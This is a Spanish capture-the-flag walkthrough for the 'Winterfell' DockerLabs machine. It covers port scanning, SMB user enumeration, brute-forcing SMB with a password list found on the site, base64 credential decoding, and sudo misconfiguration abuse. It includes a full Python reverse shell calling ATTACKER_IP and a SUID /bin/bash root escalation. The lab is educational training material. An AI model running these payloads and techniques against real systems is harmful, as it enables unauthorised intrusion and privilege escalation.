Winterfell DockerLabs (Easy)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip winterfell.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh winterfell.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-20 09:44 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000036s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 39:f8:44:51:19:1a:a9:78:c2:21:e6:19:d3:1e:41:96 (ECDSA)
|_  256 43:9b:ac:9c:d3:0c:ad:95:44:3a:c3:fb:9e:df:3e:a2 (ED25519)
80/tcp  open  http        Apache httpd 2.4.61 ((Debian))
|_http-title: Juego de Tronos
|_http-server-header: Apache/2.4.61 (Debian)
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-01-20T14:44:30
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.64 seconds

Si vemos que contiene la pagina, veremos que es muy normalita, por lo que haremos un poco de fuzzing.

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 100 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.html       (Status: 403) [Size: 275]
/.htpasswd.html       (Status: 403) [Size: 275]
/.htaccess.txt        (Status: 403) [Size: 275]
/.htpasswd.txt        (Status: 403) [Size: 275]
/.htpasswd            (Status: 403) [Size: 275]
/.htaccess.php        (Status: 403) [Size: 275]
/.htpasswd.php        (Status: 403) [Size: 275]
/.htaccess            (Status: 403) [Size: 275]
/dragon               (Status: 200) [Size: 942]
/index.html           (Status: 200) [Size: 1729]
/server-status        (Status: 403) [Size: 275]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

Vemos un directorio interesante llamado /dragon, vamos a ver que contiene:

Si entramos dentro de /dragon veremos un archivo llamado EpisodiosT1 y si entramos dentro, veremos lo siguiente:

Estos son todos los Episodios de la primera  temporada de Juego de tronos.
Tengo la barra espaciadora estropeada por lo que dejare los nombres sin espacios, perdonad las molestias

seacercaelinvierno
elcaminoreal
lordnieve
tullidosbastardosycosasrotas
elloboyelleon
unacoronadeoro
ganasomueres
porelladodelapunta
baelor
fuegoyhielo

Vemos que parecen ser contraseñas de algun usuario del sistema, por lo que vamos a probar a tirar un hydra con lista de usuarios al puerto de SMB y que por SSH no veremos nada.

Pero antes tendremos que identificar que usuarios hay, como tenemos el SMB podremos intentar enumerarlo:

Escalate user jon

enum4linux

enum4linux <IP>

Info:

Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Jan 20 09:56:39 2025

 =========================================( Target Information )=========================================

Target ........... 172.17.0.2
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 =============================( Enumerating Workgroup/Domain on 172.17.0.2 )=============================


[E] Can't find workgroup/domain



 =================================( Nbtstat Information for 172.17.0.2 )=================================

Looking up status of 172.17.0.2
No reply from 172.17.0.2

 ====================================( Session Check on 172.17.0.2 )====================================
                                                                                                                                  
                                                                                                                                  
[+] Server 172.17.0.2 allows sessions using username '', password ''                                                              
                                                                                                                                  
                                                                                                                                  
 =================================( Getting domain SID for 172.17.0.2 )=================================
                                                                                                                                  
Domain Name: WORKGROUP                                                                                                            
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup                                                              
                                                                                                                                  
                                                                                                                                  
 ====================================( OS information on 172.17.0.2 )====================================
                                                                                                                                  
                                                                                                                                  
[E] Can't get OS info with smbclient                                                                                              
                                                                                                                                  
                                                                                                                                  
[+] Got OS info for 172.17.0.2 from srvinfo:                                                                                      
        83214CBA54C7   Wk Sv PrQ Unx NT SNT Samba 4.17.12-Debian                                                                  
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03


 ========================================( Users on 172.17.0.2 )========================================
                                                                                                                                  
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: jon      Name:   Desc:                                                             

user:[jon] rid:[0x3e8]

 ==================================( Share Enumeration on 172.17.0.2 )==================================
                                                                                                                                  
smbXcli_negprot_smb1_done: No compatible protocol selected by server.                                                             

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        shared          Disk      
        IPC$            IPC       IPC Service (Samba 4.17.12-Debian)
        nobody          Disk      Home Directories
Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 172.17.0.2 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 172.17.0.2                                                                                        
                                                                                                                                  
//172.17.0.2/print$     Mapping: DENIED Listing: N/A Writing: N/A                                                                 
//172.17.0.2/shared     Mapping: DENIED Listing: N/A Writing: N/A

[E] Can't understand response:                                                                                                    
                                                                                                                                  
NT_STATUS_CONNECTION_REFUSED listing \*                                                                                           
//172.17.0.2/IPC$       Mapping: N/A Listing: N/A Writing: N/A
//172.17.0.2/nobody     Mapping: DENIED Listing: N/A Writing: N/A

 =============================( Password Policy Information for 172.17.0.2 )=============================
                                                                                                                                  
                                                                                                                                  

[+] Attaching to 172.17.0.2 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

        [+] 83214CBA54C7
        [+] Builtin

[+] Password Info for Domain: 83214CBA54C7

        [+] Minimum password length: 5
        [+] Password history length: None
        [+] Maximum password age: 37 days 6 hours 21 minutes 
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: None
        [+] Reset Account Lockout Counter: 30 minutes 
        [+] Locked Account Duration: 30 minutes 
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: 37 days 6 hours 21 minutes 



[+] Retieved partial password policy with rpcclient:                                                                              
                                                                                                                                  
                                                                                                                                  
Password Complexity: Disabled                                                                                                     
Minimum Password Length: 5


 ========================================( Groups on 172.17.0.2 )========================================
                                                                                                                                  
                                                                                                                                  
[+] Getting builtin groups:                                                                                                       
                                                                                                                                  
                                                                                                                                  
[+]  Getting builtin group memberships:                                                                                           
                                                                                                                                  
                                                                                                                                  
[+]  Getting local groups:                                                                                                        
                                                                                                                                  
                                                                                                                                  
[+]  Getting local group memberships:                                                                                             
                                                                                                                                  
                                                                                                                                  
[+]  Getting domain groups:                                                                                                       
                                                                                                                                  
                                                                                                                                  
[+]  Getting domain group memberships:                                                                                            
                                                                                                                                  
                                                                                                                                  
 ===================( Users on 172.17.0.2 via RID cycling (RIDS: 500-550,1000-1050) )===================
                                                                                                                                  
                                                                                                                                  
[I] Found new SID:                                                                                                                
S-1-22-1                                                                                                                          

[I] Found new SID:                                                                                                                
S-1-5-32                                                                                                                          

[I] Found new SID:                                                                                                                
S-1-5-32                                                                                                                          

[I] Found new SID:                                                                                                                
S-1-5-32                                                                                                                          

[I] Found new SID:                                                                                                                
S-1-5-32                                                                                                                          

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''                                                       
                                                                                                                                  
S-1-5-32-544 BUILTIN\Administrators (Local Group)                                                                                 
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-5-21-3269527173-155815558-2590245247 and logon username '', password ''                       
                                                                                                                                  
S-1-5-21-3269527173-155815558-2590245247-501 83214CBA54C7\nobody (Local User)                                                     
S-1-5-21-3269527173-155815558-2590245247-513 83214CBA54C7\None (Domain Group)
S-1-5-21-3269527173-155815558-2590245247-1000 83214CBA54C7\jon (Local User)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                       
                                                                                                                                  
S-1-22-1-1000 Unix User\jon (Local User)                                                                                          
S-1-22-1-1001 Unix User\aria (Local User)
S-1-22-1-1002 Unix User\daenerys (Local User)

 ================================( Getting printer info for 172.17.0.2 )================================
                                                                                                                                  
No printers returned.                                                                                                             


enum4linux complete on Mon Jan 20 09:57:19 2025

Vemos que hay un usuario llamado jon, por lo que haremos lo siguiente...

netexec

dic.txt

seacercaelinvierno
elcaminoreal
lordnieve
tullidosbastardosycosasrotas
elloboyelleon
unacoronadeoro
ganasomueres
porelladodelapunta
baelor
fuegoyhielo
netexec smb <IP> -u jon -p dic.txt

Info:

[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder protocols
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating default workspace
[*] Initializing SMB protocol database
[*] Initializing FTP protocol database
[*] Initializing RDP protocol database
[*] Initializing SSH protocol database
[*] Initializing WMI protocol database
[*] Initializing WINRM protocol database
[*] Initializing MSSQL protocol database
[*] Initializing VNC protocol database
[*] Initializing LDAP protocol database
[*] Copying default configuration file
SMB         172.17.0.2      445    83214CBA54C7     [*] Windows 6.1 Build 0 (name:83214CBA54C7) (domain:83214CBA54C7) (signing:False) (SMBv1:False)
SMB         172.17.0.2      445    83214CBA54C7     [+] 83214CBA54C7\jon:seacercaelinvierno 

Vemos que hemos encontrado las credenciales del usuario jon para el SMB, por lo que vamos a listar los recursos compartidos que tiene la maquina:

smbclient

smbclient -L //<IP>/ -N

Info:

 Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        shared          Disk      
        IPC$            IPC       IPC Service (Samba 4.17.12-Debian)
        nobody          Disk      Home Directories

Vemos que hay un recurso creado por el usuario llamado shared por lo que vamos a conectarnos a el mediante las credenciales obtenidas anteriormente:

smbclient //<IP>/shared -U jon

Metemos como contraseña seacercaelinvierno y veremos que estamos dentro.

Si listamos veremos lo siguiente:

  .                                   D        0  Tue Jul 16 16:26:00 2024
  ..                                  D        0  Tue Jul 16 16:25:59 2024
  proteccion_del_reino                N      313  Tue Jul 16 16:26:00 2024

Nos vamos a descargar el archivo y ver que contiene:

get proteccion_del_reino

Si lo leemos veremos lo siguiente:

Aria de ti depende que los caminantes blancos no consigan pasar el muro. 
Tienes que llevar a la reina Daenerys el mensaje, solo ella sabra interpretarlo. Se encuentra cifrado en un lenguaje antiguo y dificil de entender. 
Esta es mi contraseña, se encuentra cifrada en ese lenguaje y es -> aGlqb2RlbGFuaXN0ZXI=

Vemos que hay un codigo en Base64, si lo decodificamos veremos lo siguiente:

hijodelanister

Puede ser que sea la credencial de jon para el ssh, por lo que haremos lo siguiente:

ssh jon@<IP>

Metemos como contraseña hijodelanister y veremos que estamos dentro como dicho usuario.

Escalate user aria

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for jon on 83214cba54c7:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User jon may run the following commands on 83214cba54c7:
    (aria) NOPASSWD: /usr/bin/python3 /home/jon/.mensaje.py

Vemos que podemos ejecutar el script /home/jon/.mensaje.py como el usuario aria, por lo que haremos lo siguiente:

Primero vemos que el script esta en nuestra carpeta de la home por lo que podremos eliminarla y crear una nueva con el mismo nombre con el contenido que queramos:

rm /home/jon/.mensaje.py
nano /home/jon/.mensaje.py

#Dentro del nano
#!/bin/python3

import socket
import subprocess
import os

# Configuración del atacante (IP y puerto)
ATTACKER_IP = "<IP>"  # Reemplázalo con tu IP
ATTACKER_PORT = <PORT>           # Reemplázalo con tu puerto

# Establecer conexión con el atacante
def reverse_shell():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ATTACKER_IP, ATTACKER_PORT))
        
        # Redirigir entrada, salida y errores al socket
        os.dup2(s.fileno(), 0)  # STDIN
        os.dup2(s.fileno(), 1)  # STDOUT
        os.dup2(s.fileno(), 2)  # STDERR
        
        # Iniciar shell
        subprocess.call(["/bin/bash", "-i"])
    except Exception as e:
        print(f"Error: {e}")
        s.close()

if __name__ == "__main__":
    reverse_shell()

Lo guardamos y ejecutamos lo siguiente:

En nuestro host nos pondremos a la escucha:

nc -lvnp <PORT>

Ahora ejecutamos en la maquina victima lo siguiente:

sudo -u aria python3 /home/jon/.mensaje.py

Una vez ejecutado eso, veremos lo siguiente si nos vamos a nuestra escucha:

listening on [any] 7777 ...
connect to [192.168.120.128] from (UNKNOWN) [172.17.0.2] 41662
aria@83214cba54c7:/home/jon$ 

Vemos que hemos obtenido la shell como el usuario aria.

Escalate user daenerys

Sanitización la shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for aria on 83214cba54c7:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User aria may run the following commands on 83214cba54c7:
    (daenerys) NOPASSWD: /usr/bin/cat, /usr/bin/ls

Vemos que podemos ejecutar cat y ls como el usuario daenerys, por lo que haremos lo siguiente:

sudo -u daenerys ls /home/daenerys/

Info:

mensajeParaJon

Vemos que hay un archivo, que si lo leemos veremos lo siguiente:

sudo -u daenerys cat /home/daenerys/mensajeParaJon

Info:

Aria estare encantada de ayudar a Jon con la guerra en el norte, siempre y cuando despues Jon cumpla y me ayude a  recuperar el trono de hierro. 
Te dejo en este mensaje la contraseña de mi usuario por si necesitas llamar a uno de mis dragones desde tu ordenador.

!drakaris!

Vemos que puede ser la contraseña del usuario daenerys, por lo que haremos lo siguiente:

su daenerys

Metemos como contraseña drakaris, y veremos que somo dicho usuario.

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for daenerys on 83214cba54c7:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User daenerys may run the following commands on 83214cba54c7:
    (ALL) NOPASSWD: /usr/bin/bash /home/daenerys/.secret/.shell.sh

Vemos que podemos ejecutar el binario bash junto con /home/daenerys/.secret/.shell.sh como el usuario root, por lo que haremos lo siguiente:

Si hacemos lo siguiente:

ls -la /home/daenerys/.secret/

Info:

total 12
drwxr-xr-x 1 root     root     4096 Jul 16  2024 .
drwx------ 1 daenerys daenerys 4096 Jul 16  2024 ..
-rwxr-xr-x 1 daenerys daenerys   57 Jul 16  2024 .shell.sh

Vemos que podemos editar el archivo, por lo que haremos lo siguiente:

nano .shell.sh

#Dentro del nano
#!/bin/bash

chmod u+s /bin/bash

Lo guardamos y ejecutamos lo siguiente:

sudo bash /home/daenerys/.secret/.shell.sh

Ahora si listamos la bash:

ls -la /bin/bash

Info:

-rwsr-xr-x 1 root root 1265648 Mar 29  2024 /bin/bash

Vemos que ha funcionado, por lo que haremos lo siguiente:

bash -p

Info:

bash-5.2# whoami
root

Y con esto seremos root, por lo que habremos terminado la maquina.

Last updated